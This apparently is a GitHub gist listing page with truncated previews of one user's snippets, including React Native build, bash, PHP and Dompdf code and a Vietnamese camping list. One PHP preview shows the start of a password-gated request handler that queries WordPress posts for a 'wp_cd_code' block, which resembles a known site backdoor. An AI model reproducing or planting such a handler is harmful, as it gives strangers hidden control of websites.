Skip to content

Instantly share code, notes, and snippets.

@phannam1412
phannam1412 / gist:141a09a31d81b2e1562f77268fe6e8c8
Created March 19, 2018 09:16
React Native - Auto build and upload apk to your server
#!/usr/bin/env bash
react-native bundle --dev false --platform android --entry-file index.android.js --bundle-output ./android/app/src/main/assets/index.android.bundle --assets-dest ./android/app/src/main/res/
cd android
./gradlew assembleDebug
cd ..
cp android/app/build/outputs/apk/debug/app-debug.apk app-debug.apk
# FTP upload file
HOST='your-host.com'
Write it in Python, input from input.txt and output to output.txt
input.txt contains an integer representing the size of the matrix.
output.txt contains the result matrix.
Example input and output:
input.txt: 3
output.txt:
5 6 7
# Git branch in prompt, copy and paste this to ~/.bash_profile
parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'
}
export PS1="\u@\h \W\[\033[32m\]\$(parse_git_branch)\[\033[00m\] $ "
# Copy with progress
rsync -ah --progress source destination
@phannam1412
phannam1412 / gist:5cdc44f774d22cc9bd96d660793e4e19
Created September 25, 2017 02:43
React Native interview questions
Javascript:
- How does javascript scope works ?
- How does javascript hoisting works ?
- What are the es6 features ?
Misc:
@phannam1412
phannam1412 / gist:706f8dc19b9ec05f3b7b89a1fb55fb05
Last active September 18, 2017 14:09
test output buffering
ob_end_flush();
ob_start();
for($a=0;$a<5;$a++) {
print $a . PHP_EOL;
flush();
ob_flush();
sleep(1);
}
@phannam1412
phannam1412 / gist:5dc20012e05fcc9b5a6f5b79c18a2f1c
Created June 6, 2017 07:41
force browser to download file
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"db.sql\"");
// readfile('db.sql'); // do the double-download-dance (dirty but worky)
print file_get_contents('db.sql');
$start = microtime(true);
$MAX = 1000000;
$arr = [];
for($a=0;$a<$MAX;$a++) $arr[] = rand(0,$MAX);
asort($arr);
print round(microtime(true) - $start,2) . 's' . PHP_EOL;
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'c9c305a74573cd78066f0ac30ccd490c'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
============================== cần thiết ==============================
lều
nước: mỗi người 5 lít, thiếu thì lấy nước suối
đồ ăn khô: đồ hộp, bánh mì sandwich, mì ly
nồi nhỏ, bếp cồn, cồn
bật lửa
diêm
đèn pin
<?php
include 'vendor/autoload.php';
use Dompdf\Dompdf;
$DOMAIN = 'http://manga-scan.com';
function printPdf($manga_name) {